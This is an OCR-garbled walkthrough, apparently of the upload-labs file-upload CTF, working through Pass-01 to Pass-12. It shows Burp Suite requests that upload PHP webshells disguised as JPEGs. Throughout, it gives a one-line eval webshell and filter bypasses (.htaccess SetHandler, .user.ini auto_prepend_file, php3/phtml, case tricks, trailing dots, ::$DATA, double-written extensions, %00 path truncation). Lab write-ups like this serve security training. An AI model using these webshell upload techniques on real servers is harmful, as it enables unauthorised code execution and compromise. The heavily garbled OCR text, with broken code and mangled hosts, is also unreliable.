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function checkFile() {

var file = document.getElementsByName( ' upload file')[@].value;

if (file == null || file == "") {
alert("FitiFE STREIM);

return g

allow ext




var ext name = file.substring(file.lastIndexOf("."));

var errMsg

alert(errMsg);

return g

BT R RJSIE, SRS

/ Request to http://90951bab794b4ed1926aef5d113d5cEf app.mituan.zone:80 [54.222.208.118]

Forward | [ Drop | ( Intercept is on ' Action [
Raw T Params T Headers I Hex ]

POST /Pass-01/indexphp?action=show_code HTTP/1.1
BEEELFSHBER: Host: 90951bab794bded1926aef5d113d5c5f.app.mituanzone

Content-Length: 5725
prsiearhe ol 2 jpg

L& — A web=hell Bl HR 5528 [

Cache-Control: max-age=0
Origin: http://90951ba6794bded1926aef5d113d5c5f.app.mituanzone
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryje3 KKAWBkDBFXDbE13
User-Agent: Mozilla/5.0 (Nindows NT 10.0; Wintd; x64) Apple'WebKit/537.36 (KHTML, like Gecko) Chrome/83.
Accept: text/htmlapplication/=html+xmlapplication/«ml;q=0.9,image/webp,image/apng,*/q=0.8 application/
function checkFile() { Referer: http://90951ba6794b4ded1926aef5d113d5c5f.app.mituanzone/Pass-01/index.phplaction=show code
vere Hills = dearmes :Accept-Encoding: gzip, deflate
. . Accept-Language: zh-CN,zh;q=0.9
if (file == null i Connection: close
alert(’

FECTAT PO - ---- WebKitFormBoundaryje 3KV WBKDBFXDE13
Content-Disposition: form-data; name="upload_file"; filenamp="2.php"
Content-Type: image/jpeg
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var errMsg = " a
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return F
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PHP Version 5.2.17
System Linux £33fc29fbbe1 4.15.0-1063-aws #67-Ubuntu SMP Mon Mar 2 07:24:29 UTC 2020
x86_64




Buld Date

Apr 13 20018 234907

Configure
Command

' fconfigure' "--bindir=/usr/bin' "--sbindir=/usr/sbin’ "--prefix=/usr' "--build=i686-pc-
linux-gnu' --host=i686-pc-linux-gnu’ '--mandir=/usr/share/man"' '--
infodir=/usr/sharefinfo’ "--datadir=/usr/share’ "--sysconfdir=/etc' '--
localstatedir=/var/lib' "--prefix=/{usr/lib/php5.2' "--mandir=/usr/lib/php5.2/man' "--
infodir=/usr/lib/php5.2finfa’ --libdir=/usr/lib/php5.2/lib" '--with-libdir=lib" '--with-
pear' '--disable-maintainer-zts' '--enable-bcmath’ --with-bz2' *--enable-calendar' '--
with-curl' "--with-curlwrappers' "--disable-dbase’ '--enable-exif' '--without-fbsgl' '--
without-fdftk’ '--enable-ftp’ '--with-gettext' "--without-gmp' "--disable-ipvg' "--with-
kerberos® '--enable-mbstring' "--with-mecrypt' *--with-mhash' *--without-msgl' '--
without-mssgl' '--with-ncurses' "--with-openss|’ '--with-openssl-dir={usr' "--disable-
pentl' “--without-pgsgl' '--with-pspell' "--without-recode’ "--disable-shmop' *--without-
snmp' "--enable-soap' '--enable-sockets' '--without-sybase-ct' '--disable-syswmsg" '--
disable-sysvsem' '--disable-sysvshm' '--without-tidy" '--disable-wddx" '--disable-
xmlreader’ "--disable-xmlwriter '--with-xmlrpc' --without-xsl' --enable-zip’ '--with-
zlib' "--disable-debug' '--enable-dba' --without-cdb' *--disable-flatfile’ '--with-gdbm’
'--disable-inifile’ --without-gdbm' '--with-freetype-dir=Jusr' "--with-t1lib=/usr' '--
disable-gd-jis-conv' --with-jpeg-dir=Jusr’ '--with-png-dir=/fusr' '--without-xpm-dir' '--
with-gd' '--with-imap' "--with-imap-ssl' --without-interbasz' "—with-rovsgl=/usr' '--
with-mvsali=/usr/bin/mvsal confia’ '--without-oci8' "--without-pde-dblik’ '--with-

Pass-02 Content-type




it (isset($ T[ 'submit']))

if (filo_oxicte{UDLOAD DATH

UPLOAD PATH.

EEEAD, MBEBEH.

/ Request to http://90951ba6794bded1926aefod113d5c5f.app.mituan.zone:80 [54.222.208

EE— A webshell R ST | Foward || Drop | ( Intercept is on | Action |

Raw | Params | Headers

POST /Pass-02/index.phplaction=show_code HTTF/1.1

Host: 90951bab794b4ed1926aef5d113d5cS5f.app.mituanzone

Content-Length: 6725

Cache-Control: max-age=0

Crigin: httpy//90951bab794b4ed1926aef5d113d5c5f.app.mituanzone
Upgrade-Insecure-Requests: 1

DNT:1

Content-Type: multipart/form-data; boundary=----\WebKitFormBoundary1LeEOgqaVe8tyYQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; 'WinG4; x64) Apple'WebKit/537.36 (KHTML, lil
Accept: text/html application/<html+xml,application/xml;q=0.9,image/webp,image/apng
Referer: http://90951bab794bded1926aef5d113d5c5fapp.mituanzone/Pass-02/indexp
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

EEEEFEMNER:

e 2.ing

oz ------ WebKitFormBoundary1LeEOqaV8tYQZd7D
Content-Disposition: form-data; name="upload_file"; filename
Content-Type: image/jpeg |
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Vilhbk: http://90951ba6794b4ed1926aef5d113d5¢5F. app.mituan.zone/upload/2.php?8=phpinfo();



£ 7 — A webshell FIBE S 2. [ Dashboard ITarget I Proxy I Intruder I Repeater I Sequencer I Decoder TE

Intercept I HTTP history IWehSockets history I Options ]

BEEELEMN B / Request to http://90951bab794bded1926aefod113d5chf.app. mituan.zone:80 [

l Forward J [ Drop J | Intercept is on | Action
B2 200

Raw | Params | Headers | Hex

FPOST /Pass-03/index.php?action=show_code HTTP/1.1
Host: 90951ba6794bded1926aef5d113 d5c5f.app.mituanzone
Content-Length: 6725
Cache-Control: max-age=0
Origin: http://90951hat794bded1926aefSd113d5cSfapp.mituanzone
null; Upgrade-Insecure-Requests: 1
Ny A g DNT: 1
if {.15—"elt( [ 1M A B Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0DFY
if (file_ exists(UPLOAD_PATH)) { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Apple'WebKit/537.36 (
array( A : e Accept: text/html,application/xhtml+xml,application/*ml;q=0.9,image/webp,ir
el [ Referer: http://90951bat794bded1926aef5d113d5cS5f.app.mituanzone/Pass-(
iy ] Accept-Encoding: gzip, deflate
deldot( )5 Accept-Language: zh-CN,zh;g=0.9
str'r'ch[‘{: ) Connection: close
L t‘_)lower(- . /3 - WebKitFormBoundaryODFWIOSYizSyGeSF
str_ireplace( s I Content-Disposition: form-data; name="upload_file"; ﬁlename
trim( }; Content-Type: image/jpeg

—_ , mm, g O0000JFIFO0000 0 0O000COoO0oOnooooo 0
(!in_array( 3 ) A 0000000000000000000 $. " #00(7),014440'9=82<.342000C0
[ PRl 02012222222222222222222222222222222222222222222222222 2000001
UPLOAD PATH. Ooooor |'| Ooar ”,IUI 0000000}0000000¢ II_‘IAEIEIO_taEI"qIZI2£I:|!:|#B_?1§IZIR1‘¥$_3brI
i - i 00000%&' (%4567 89:CDEFGHIISTUVWXYZcdefghijs tuvwyz S FEISEIRENIZE
if (move_uploaded_file( ; {8 10000 0000000000000000w0000000! 00AQDaqD 2000884 #3RO0
0%$40%000008& ()*567 89:COEFGHISTUNVWXYZcdefghijstuvwayz Pzl IBIE1FHER
a
DOREAEFIWO 00 0E A $iF0$000 =fFEprdi]] = *4sO09ubii0 < tO154Es «0
A sOOfEE{E00?0ERZEN03 BERE <& {0000ES00%:00 & \008EEiEg+
2Ac"E-0 DEDIO@MHEMAIZESMbO03 Y [miDERENOA&IRh0sE 0 <9 U
PYmLO0FE > FiEis 00000000900y 00u0 DA, TBET OvEZEEO=NOD k:
2HIE <01 FEN S0 "00S07 S00aG0 % o OgO %001 OusiE| 2zE0y IR0, 08#500

- else {

o MU php3. phtmi#i1T

® http://90951ba6794bded1926aef5d113d5c5F.app.mituan.zone/upload/202101090941268782.php3?8=phpinfo();

® http://90951ba6794bded1926aef5d113d5c5f.app.mituan.zone/upload/202101090942151590.phtml?8=phpinfo();

Pass-04 htaccess

.htaccess A BT IR 48 1.mod_rewrite B f5 . 2.AllowOverride All

Fle Edit View GSettings 2
R |t B A E e B F
1 <FilesMatch "156">

2 SetHandler application/x-httpd-php

3 </FilesMatch>

J& 48156 13X 24 /E php R AEHT -

11 B RS &5. ¢/ Request ta http://30951ba6794bded1926aefad113d5c5f app. mituan zone:8

[ Forward J [ Drop J | Interceptis on | Action

Raw | Params

Headers

HEEEELENER

POST /Pass-04/index.php?action=show_code HTTP/1.1

ek QOGS aET7 QA RA AT O TE anfE A1 A2 ASADE mimim mmibmim mimn



PIUDL QUTO AU DHRSEU 1 2e0de U TJWoLIdp Pl iidal leun e
Content-Length: 6725
Cache-Control: max-age=0
Qrigin: httpy//90951ba6794b4ed1926aef5d113d5c5 fapp.mituanzone
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----\WebKitFormB oundaryF.
User-Agent: Mozilla/5.0 (\Windows NT 10.0; \Win64; x64) Apple'WebKit/537.
Accept: text/html,application/«html+xmlapplication/«ml;q=0.9,image/web
) Referer: https//90951bab794b4ed1926aef5d113d5c5f.app.mituanzone/Pa
if (isset( 'submit'])) { Accept-Encoding: gzip, deflate
if (file_exists(UPLOAD PATH)) { Accept-Language: zh-CN,zhijq=0.9
- - = - - Connection: close
array(".php",".p h .

trim($ File name']); |- WebKitFormBoundaryF3FS7R49ASTrm2Ln
= deldot($i S Content-Disposition: form-data; name="upload_file"; ﬁlenam
strrchr($fi Content-Type: image/jpeg

it 2 jpg

strtolower (4 > O0000JFIFO0000 0 00000CO00000000o0 ul
i ' 1 0000000000000000000 $.' " #00(7),014440'9=82<.342000C0

O2I0122222222222222222222222222222222222222222222222222000
000000000000000000000}00000000!1A00Qa0"q02A00#BAI0R{FS
0000098 ()*456789:CDEFGHIISTUVWXYZcde fghijs tuwweoyzEi IS ERR
000000000000000000000wO0000001100AQOaqO 200068 #3F
0$40%000008:'(0*56789:CDEFGHIISTUVWXYZcdefghijstuvnsoyz FEIIEEE1
fal
£ UPLOAD_PATH. "/ O0FEFIWO it 00 0B A $E0$00L =FfRpriu] = »4s09uli0 < t0{Ee:
if (move uploaded file e SODIEE ' sCOEE(E007 0 RS #iEtG\ < {0000BESO0R00 & #00REE
2Ac"8E-0 DE00@MH IMAIEEEM bOD3 Y [miDEZDEOOREURhDEE
FYmLO0ES > HiENE000(000(005EE00)y D0u0 DAWA,_TBYT DvEZiEE0 =ND
2HRIE <01 FA\EEEE0 00507 S00aG0 #o0g0%0010usTE| 2:EDyiEREDD, O 8%

iE M8 pO&EO0Ey -2l O0dIE S D0ERSHR okrO&UN 0= +ifH< C > O <EESH
-R'RO3EEAAS~ D 0000%955008 2 *HE002 2 Mgt =0 ISiREID +
WIBEElRINNNAN

=
=

Vi) http://98951ba6794bded1926aef5d113d5c5F. app.mituan.zone/upload/2.156?8=phpinfo();

= | 90951bab794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/2.15678=phpinfo(); A+
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PHP Version 5.2.17

System Linux f33fc29fbbe1 4.15.0-1063-aws #67-Ubuntu SMP Mon Mar 2 07:24:29 UTC 2020
x86_64

Build Date Apr13 2018 23:49:17

Configure "fconfigure’ "--bindir=/usr/bin' "--sbindir=/usr/sbin’ "--prefix=/usr' "--build=i686-pc-

Command linux-gnu' *--host=i886-pc-linux-gnu’ '--mandir=/usr/share/man’ '--

infodir=/usr/share/info' *--datadir=/usr/share’ "--sysconfdir=/etc' '--
localstatedir=/var/lib' --prefix=/fusr/lib/php3.2" "--mandir=/usr/lib/php5.2/man’ "--
infodir=/usr/lib/php5.2/infa’ *--lisdir=/usr/lib/php5.2/lib" '--with-libdir=lib" '--with-
pear' --disable-maintainer-zts' '--enable-becmath’ --with-bz2' --enable-calendar' *--
with-curl' "--with-curlwrappers' *--disable-dbase’ '--enable-exif’ '--without-fhsgl' *--
without-fdftk” '--enable-ftp’ "--with-gettext' --without-gmp' '--disable-ipva' '--with-
kerberos® '--enable-mbstring' "--with-mecrypt’ --with-mhash’ *--without-msgl’ *--
without-mssql’ '--with-ncurses’ "--with-openss| '--with-openssl-dir=/usr' *--disablz-
pentl’ “--without-pgsgl’ --with-pspell’ *--without-recode’ "--disable-shmop' *--without-




A1 PhP. 728 B 21 . php 728 AT L. [ R EF RS HATE S php, php3, PhP3ZH #1471

EE— 4 webshell B B F 5. / Request to http://30951baf794bded1926aef5d113d5c5f app. mituan zone 80 [54 222 20

l Forward J l Drop J { Intercept is on ] Action

RawT Params T Headers I Hex ]

POST fPass-05/index.phptaction=show_code HTTP/1.1

N Host: 90951bat794b4ded1926aef5d113d5c5fapp.mituanzone
1'PhP'?Z Content-Length: 329 PP
Cache-Control: max-age=0
Origin: httpy//90951bat794bded1926aef5d113d5c5f.app.mituanzone
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----'‘WebKitFormBoundaryoflrBLoTLgwb
User-Agent: Mozilla/5.0 (Vindows NT 10.0; Wing4,; x64) Apple'NebKit/537.36 (KHTML, |
Accept: text/htmlapplication/xhtml+xml application/=xml;q=0.9,image/webp,image,/apn
Referer: http://90951bat794bded1926aefSd113d5cSfapp.mituanzone/Pass-05/index.
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

BHEEELFEABAR:

—————— WebKitFormBoundaryoflirBLoTLgwiSII

Content-Disposition: form-data; name="upload _file"; filename4"1.PhP.7z"

Content-Type: application/octet-stream

<?php eval($ REQUEST[E]);?>
—————— WebKitFormBoundaryoflirBLoTLgwiSII
Content-Disposition: form-data; name="submit"

Lz
—————— WebKitFormBoundaryoflrBLoTLgwiSIHI--
Vi Hhk: http://90951ba6794bded1926aef5d113d5¢5F . app.mituan.zone/upload/1.PhP.7z?8=phpinfo();

o _user.iniZ2—/NBEH BN MEBini X, WA WRBL T userinif5, FEEERBREHZFEMG, RFEER
user_ini.cache_ttFT# BRI A (BRINR300%8P) , BIWI g EHinaE.



k4% .user.ini auto_prepend_file=test.jpg , & LIFEAIT, TEINAHMEK (PHP_NTS_Apache) (&
% https://wooyun.js.org/drops/user.ini LA BHIPHPJE [ T.htmD) | .user.ini A& MR CTF IR .

W

s mp O A F=F | cms.compo/index.php?8=phpinfo(); ~ B

89290 00000000000000001000000020060000090

PHP Version 5.6.27

System Windows NT DESKTOP-U42DCS3 10.0 build 18363 (Windows 10) i586

Build Date Oct 14 2016 10:15:39

Compiler MSWC11 (Misual C++ 2012)

Architecture *B6

Configure Command cscript fnalogo configure,s "--enable-snapshot-build” "--enable-debu
"--disable-isapi” "--disable-nsapi” “--without-mssql” "--without-pdo-r
TV NI S RO JRUURUR SR U TR T DRION [ V-7~ CRUPUN [P T e T 1|

« CA L« WWW s lfdyems > xx to prepend fll

= |
o HHEAE
W sE user.ini
! gifshell.gif
=
¥ ; index.php

Pass-06 X/h5

11 F iR 55 % .

Forward Dro ( Intercept is on | Action
l J 1 P pt l J

Raw | Params

Headers

E%ERE L&MW B POST /Pass-06/index.php?action=show_code HTTP/1.1

Host: 90951bab794bded1926aef5d113d5c5fapp.mituanzone
szl 2 jpg

Content-Length: 6725

Cache-Control: max-age=0

Origin: http://90951bab794b4ed1926aef5d113d5c5fapp.mituanzone
Upgrade-Insecure-Requests: 1

DNT: 1

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygkr
User-Agent: Mozilla/5.0 (WVindows NT 10.0; 'Winb4; x64) Apple'WebKit/537.3¢
Accept: text/htmlapplication/<html+xml,application/x«ml;q=0.9,image/webp,
Referer: http://90951bat7 94bded1926aef5d113d5c5f.app.mituanzone/Pass
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content Disposition: form-data; name="upload_file"; filenamp="2.FHP"
Content-Type: image/jpeg

am‘ay(

= trim($ ame
deldot O0000JFIFODO0D O 00000CO000000000O u]
: 0000000000000000000 $.' " #00(7),014440'9=82 <.342000C0
: 021012222222222222222222222222222222222222222222222222200001
str_ireplace( \T A h oxt); 000000000000000000000y000000001 AO0CQa0"g02 AOO#BMAAORIFS3L
- D0000%& ()*456789:COEFGHISTUVWXYZc defghijstuvwoz S EIS EIRETLS
000000000000000000000wO000000100AQOaq0" 2000848 #3R0O
0$40%00000&'(j*56789:CDEFGHIJSTUVWXYZcdefghijs tuvweayz PRIl IE BT
{n}
OOSFEFEFIWO A 00E0MRE: A $ 50000 =fFpri] = ~4s09utii0 <t EIIEEE.S
AsO0FEFE (2007 0EEEE 03 RERE < A {0000SOIF00 3 @00 5

Dh-"EE_N ONETO A HRLASISEERA RN "™ TeniDERMEEN M R bk MTREE

strrchr($file

= UPLOAD PATH.'

Villhibl: http://90951ba6794b4ed1926aef5d113d5¢5F. app.mituan.zone/upload/202101090952599009.PhP?8=phpinfo();

Pass-07 =#


https://wooyun.js.org/drops/user.ini%25E6%2596%2587%25E4%25BB%25B6%25E6%259E%2584%25E6%2588%2590%25E7%259A%2584PHP%25E5%2590%258E%25E9%2597%25A8.html
https://blog.csdn.net/hxhxhxhxx/article/details/107165508

hll HEE =, / Request to http://90951bab794bded1926aefod113d5c5f app. mituan.zone:80 [54.22

Forward Doy ( Intercept is on | Action
l J 1 P i l |

Raw I Params I Headers I Hex ]

POST /Pass-07/index.php?action=show_code HTTF/1.1

Host: 30951bab794b4ded1926aef5d113d5c5f.app.mituanzone

Content-Length: 6725

Cache-Control: max-age=0

Crigin: httpy//90951bat7 94b4ded1926aef5d113d5c5fappmituanzone
Upgrade-Insecure-Requests: 1

DNT: 1

Content-Type: multipart/form-data; boundary=----"VebKitFormBoundaryB A3 P2AB
User-Agent: Mozilla/5.0 MWindows NT 10.0; Wingd; x64) Apple'WebKit/537.36 (KHTI
Accept: text/htmlapplication/x<html+xml,application/xml;q=0.9,image/webp,image,
Referer: http:y//90951bat794bded1926aef5d113d5cSfapp.mituanzone/Fass-07 /ir
if (isset(% S 4 Accept-Encoding: gzip, deflate

if (file_exists(UPLOAD_PATH)) { Accept-Language: zh-CN,zhiq=0.9
) Connection: close

EEREEFEZHNER:

priscargell 2 jpg

t = array(

Content—Disposition: form-data; name="upload_file"; filenanpe="2.php "
Content-Type: image/jpeg

strrchr($ };
strtolower(? ] 00000JFIFOO000°0°00000€00000000000 o
0000000000000000000 $.' " #00(7),014440'9=82 <.342000C0
O21012222222222222222222222222222222222222222222222222200000000C
0000000000000000000000000000041A00Qa0"q02 ADD#BA0RES3br0
00000%8: (#4567 89:CDEFGHIISTUVWXYZ cdefghijs tuwnayz SiEEIS BRTETImEsg ¥ «
000000000000000000000w0000000!100AQ0aq0 200084848 #3RO0brO
. - 0$40%000008! (*56789:CDEFGHIISTUVWXYZcdefghijstuvwiyz Pl IS EIE RS
pat UPLOAD_PATH. (" YmdH I
if (move uploaded file(% =g OOEFEF WO et O0ER0EEL: A $iR0$ 000 =fFpriud] = *4s09utii] < O s «0N\O0[
e T ) ~sO0fRE(20070E#E 03 BLERER <A {0000ESO0% 00 E B00KEEEg + 2k
2Ac"E5-0 0=00@MHIMAIZEEMbODN3 Y [miDE2 D0 DAt h D8 & E 0 <9 L0058,
fYmLO0ZE s > FREHF 00000000500y 00ud DN WY_TIRER| OvESERO =NOD k&b 3:
2HEE < 013F8\$5500 "00S07 S00aGO 2 0 0g0%001 DuSTH| 2:80y:EHEN0, O6#5 005
D07 A8 pO&EE00kry-2ul O 0dIBEN OOt R SFR okrO &0 = +< C> O<HEEfIr. XO#O
-R'FRO3ER-HS~ 02 0000%H 935008 £ *HF003 2 A0 IEEE00+ - EE (0]
WIBEEIHID0000

str_ireplace(

TEWin (225 BAKZH) FATOEN, EAEERLnw MICHRE .
Pass-08 %5t



niercept | HIIP history | WebSockets history | Options |

EB — A webehell B S = / Request to http://30951bab794b4ed1926aef5d113d5c5f app.mituan.zone:80 [54 .2

l Forward J l Drop J ( Intercept is on | Action

Raw T Params T Headers T Hex ]

POST /Pass-08/index.php?action=show_code HTTP/1.1

Host: 90951bab794b4ded1926aef5d113d5c5fapp mituanzone

Content-Length: 6725

Cache-Control: max-age=0

Crigin: httpy//90951bat794bded1926aef5d113d5c5fapp.mituanzone
Upgrade-Insecure-Requests: 1

DNT: 1

Content-Type: multipart/form-data; boundary =----WebKitFormB oundaryExmFHO,
User-Agent: Mozilla/5.0 (Nindows NT 10.0; 'Wine4; x64) AppleWebKit/537.36 (KH
Accept: text/html application/html+xml application/xml;g=0.9,image/webp,imag:
Referer: http://90951ba6794bded1926aefSd113d5c5f.app.mituanzone/Fass-08/i
if (isset($_POST['submit'])) { Accept-Encoding: gzip, deflate

if (file_exists(UPLOAD_PATH)) { Accept-Language: zh-CN,zhig=0.9
) Connection: close

BEEELEENER:

2ipg

array(".php",
= trim($ FILES['upload file'][ ' et "WebKitFormB oundaryExmFH 0jz<YC8soAK

’ Content-Disposition: form-data; name="upload_file"; flename="2.php."
Content-Type: image/jpeg

strrchr
strtolower($fi

str_ireplace(’: R $ & (100 00JFI FOOODO 0 00000CO00000000000 O
0000000000000000000 $. " #00(7),014440'9=82 <.342000C0
02101222222222222222222222222222222222222222222222222220000000C
O00000000000000000000}00000000!1 AO0Ga0"q02 ADO#EAA0REES3brO
O0000%&: (#4567 89:CDEFGHIJSTUNVWXYZ cdefghijstuvwiyz S FEISIERTETR = ¥
000000000000000000000wO000000!100AQDaq0" 2000648 #3RO0brO
B B (1940% 000008 ()*567 89:CDEF GHIJSTUVIWXYZc de fghijstuvweayz Il IS1EIEER
UPLOAD_PATH.'/'. ; b0
if (move uploaded file(% ile, O0ZFEEFIWO ESHO0E0MRE: A $@0$00U =fRpriu] = 4 4s09ulti0 < 0{E4Es «O\OC
: ~sOOREES{E00? DEEEEEEN03 B4R < A {00008S00500 & #BO0REEEg + 2
2Ac"8E-0 DEDC@MHIMATZEEMbOO3 Y [miDEROENDT A MhDsE  EE0 <o Lo
FYmLO0%E:s > FHEHHD00000M00FSFO0VOOuO AW T3 DvEZER0=NOO k&h =

Villitk: http://90951ba6794b4ed1926aef5d113d5c5F. app.mituan.zone/upload/2.php.?8=phpinfo();

Asz= | 90951bab794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/2.php.?8=phpinfol); =~ ¢
Mo 9500 oW 900000L0veeUee 00eklIoee (0 5] 00ULe}eer
ILeleWVe 190oN0e/0Me))e!(000.0/(C (000 _€/(0(000.6/(1(00e:
PHP Version 5.2.17

System Linux f33fc29fbbe1 4.15.0-1063-aws #67-Ubuntu SMP Mon Mar 2 07:24:29 UTC 2020
xB6_64

Build Date Apr 13 2018 23:49:17

Configure "feonfigure' "--bindir=/usr/bin' "--sbindir=/usr/sbin’ "--prefix=/usr' "--build=i586-pc-

Command linux-gnu' --host=i886-pc-linux-gnu’ '--mandir=/usr/share/man’ '--

infodir=/usr/sharefinfo’ "--datadir=/usr/share’ '--sysconfdir=/etc' '--
localstatedir=/var/lib' "--prefix=/usr/lib/php5.2" "--mandir=/usr/lib/php5.2/man’ "--
infodir=/usr/lib/php5.2finfo’ '--libdir=/usr/lib/php5.2/lib" '--with-libdir=lib" '--with-
pear' --disable-maintainer-zts' '--enable-bemath’ "--with-bz2' '--enable-calendar' "--
with-curl' "--with-curlwrappers' '--disable-dbase’ '--enable-exif’ '--without-fhsgl' *--
without-fdftk” '--enable-ftp' '--with-gettext' "--without-gmp' --disable-ipw&' --with-
kerberos® '--enable-mbstring' "--with-mecrypt’ --with-mhash’ --without-msg|' *--
without-mssql® '--with-ncurses’ --with-openss|® '--with-openssl-dir=/fusr' *--disable-
pentl’ --without-pgsgl' “--with-pspell’ --without-recode’ "--disable-shmop' --without-
snmp' "--enable-soap' '--enable-sockets’ '--without-sybase-ct' '--disable-sysvmsg" '--
disable-sysvsem’ '--disable-sysvshm' '--without-tidy" '--disable-wddx' '--disable-
xmlreader’ "--disable-xmlwriter '--with-xmlrpc’ --without-xsl' --enable-zip' '--with-
zlib' "--disable-debug’ '--enable-dba' '--without-cdb’ --disable-flatfile’ '--with-gdbm’
'--disable-inifile’ "--without-gdbm' '--with-freetype-dir=/usr '—-with-17lib=/usi’ - |

[ Lo '] v LN} . =



B oY [ rrseevensiaamsuny ) puvma |

1N FEEE. / Request to http://90951bab794bded1926aefod113d5c5f app.mituan.zone:80 [54.222.208.118]
l Forward J l Drop J | Intercept is on Action

Raw | Params

Headers

BEELFrENEAR:

POST /Pass-09/index.php?action=show_code HTTP/1.1

Host: 90951bab794bded1926aef5d113d5c5f.app.mituanzone

Content-Length: 6725

Cache-Control: max-age=0

Origin: http://90951ba6794bded1926aef5d113d5c5f.app.mituanzone

Upgrade-Insecure-Requests: 1

DNT: 1

Content-Type: multipart/form-data; boundary =----'\WebKitFormBoundaryAijTu28ZCDSvgbPc

User-Agent: Mozilla/5.0 (Nindows NT 10.0; 'WinGd; x64) Apple'VebKit/537.36 (KHTML, like Gec

Accept: text/html, application/x<html+xml,application/xml:q=0.9,image/webp,image/apng,*/*q:
null; Referer: httpy//90951hat794b4ed1926aef5d113d5c5fapp.mituanzone/Pass-09/indexphpiac

if (isset( [ 1) £ Accept-Encoding: gzip, deflate

if (file_exists(UPLOAD _PATH)) { Accept-Language: zh-CN,zhiq=0.9
Connection: close

ZEavk = 2 jpg

array ( , ;
trim($_FILES[ 'upload file'][ 'rigaets WebKitFormBoundaryAjjTu28ZCDSvqkPc
deldot ( ); Content—Dispos_:ition: f_orm—data; name="upload_file"; filename q"2 php=$DATA"
Content-Type: image/jpeg

strrchr(

strtolower( ); O0000JFIFO0000°0°00000C00000000000 0
- ! 0000000000000000000 $. " #00(7),014440'9=82<.342000C0 0oad

EWIn (2ZBSCHR) UMY, B RFRLinux, AT .
Pass-10 #i& J5 2%

2.php.jpgtB /I BLo

Q1 TES =, / Request to http://90951bab794b4ed1926aef5d113d5c5f app mituan zone 80 [54 222

l Forward J [ Drop J | Intercept is on Action

Raw I Params I Headers I Hex ]

POST /Pass-10/index.phplaction=show_code HTTP/1.1

Host: 90951bab794b4ded1926aef5d113d5c5fapp.mituanzone

Content-Length: 6725

Cache-Control: max-age=0

Origin: httpy//90951bab794bded1926aef5d113d5c5f.app.mituanzone

Upgrade-Insecure-Requests: 1

DNT: 1

Content-Type: multipart/form-data; boundary=----WebKitFormB oundaryyFx«3 LdXW

User-Agent: Mozilla/5.0 (NVindows NT 10.0; Wingd; x64) Apple'WebKit/537.36 (KHTW

Accept: text/htmlapplication/xhtml+xml application/xml;q=0.9,image/webp,image/:
null; Referer: https//90951bab794bded1926aef5d113d5c5fapp.mituanzone/Pass-10/inc

if (isset( [ 1)) £ Accept-Encoding: gzip, deflate

if (file exists(UPLOAD PATH)) { Accept-Language: zh-CN,zh;q=0.9
Connection: close

BEEELEFNER:

busearacl 2 jpg

array( >

( [fupload_file'][ ' i ‘WebKitFormBoundaryYFx3LdX\Ws73pUH4e
deldot( Y. Content-Disposition: form-data; name ="upload_file"; filenamef "2.php. ."
) o Content-Type: image/jpeg

trim(

strrchr(

strtolower( i 00000JFIFO0000 0" 00000CO0000000000 u]
0000000000000000000 $.° " #00(7),014440'9=82<.342000C0

i . O2i0122222222222222222222222222222222222222222222222222000000000L
trim( E 000000000000000000000/000000001AD0Qa0 "a02 A ND#BIAORESI LD
00000%& ' ()*4567 83:COEFGHISTUVWXYZedefghijs tuweayz SIS EEN=ER ¥ .

str_ireplace(

Vihitk: http://90951ba6794b4ed1926aef5d113d5c5F. app.mituan.zone/upload/2.php.?8=phpinfo();

Pass-11 &N 5



/ Request to http://30951bab794bded1926aef5d113d5c5f app. mituan.zone:80 [54.222 208.118]

[ Forward J [ Drop J | Intercept is on Action

J Raw T Params T Headers T Hex }

20ST /Pass-11/indexphplaction=show_code HTTP/1.1

Host: 90951bat794bded1926aef5d113d5c5fapp.mituanzone

Content-Length: 6725

Cache-Control: max-age=0

Jrigin: httpy//90951bab794bded1926aef5d113d5c5fapp.mituanzone

Jpgrade-Insecure-Requests: 1

INT: 1

Content-Type: multipart/form-data; boundary=----\WebKitFormB oundaryHrwBaXuYkaysneBJ

Jser-Agent: Mozilla/S.0 (Windows NT 10.0; 'Wing4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.04103.61 Safari/537.36
bccept: text/html, application/=html+xml,application/«ml;q=0.9,image/webp,image/apng,*/*:q=0.8,application/signed-exchange;v=hb3;9=0.9
leferer: hitp://90951bat794bded926aef5d113d5c5f.app.mituanzone/Pass-11/index.phplaction=show _code

bccept-Encoding: gzip, deflate

bccept-Language: zh-CN,zh;g=0.9

Connection: close

—————— WebKitFormBoundaryHrwEaXuYkasneB)
Content-Disposition: form-data; name="upload_file"; filename="2.pphphp"
Content-Type: image/jpeq

J0O000JFIFO0000 0" 00000CO00000000000 O

J000000000000000000 $. "#00(7),014440'9=82 <.342000C0 oooo
J2IV2222222222222222222222222222222222222222222222222200000000000"0000000000000000000000000000000000000
J00000000000000000000/00000000!1A00Qa0"q02 A00#B8H0REF$3 LD

VilalHbhk:  http://90951ba6794b4ed1926aef5d113d5c5F. app.mituan.zone/upload/2.php?8=phpinfo();

Pass-12 GET#; ¥t

/ Request to http://90951bab794bded1926aef6d113d5¢5f. app.mituan.zone:80 [54.222.208.118]

l Forward J l Drop J | Intercept is on Action
Raw I Params I Headers | Hex

HEEELTNER: POST /Pass-12/index.php?save_path=_./upload/12.php%00 HTTP/1.1
Haost: 90951bab794bded9260aefs o M-Sttt zome
prizeavkal 2 jpg

EE— A webshell RS 8.

Content-Length: 6725
Cache-Confrol: max-age=0
Origin: http://90951bat7 94bded1926aef5d113d5c5f.app.mituanzone
Upgrade-Insecure-Requests: 1
DMNT:1
Content-Type: multipart/form-data; boundary =----WebKitFormBoundaryHXSyyFd\WEBrc3majs
User-Agent: Mozilla/5.0 (Nindows NT 10.0; 'Wing4; x64) Apple'VebKit/537.36 (KHTML, like Gecko) Chrom
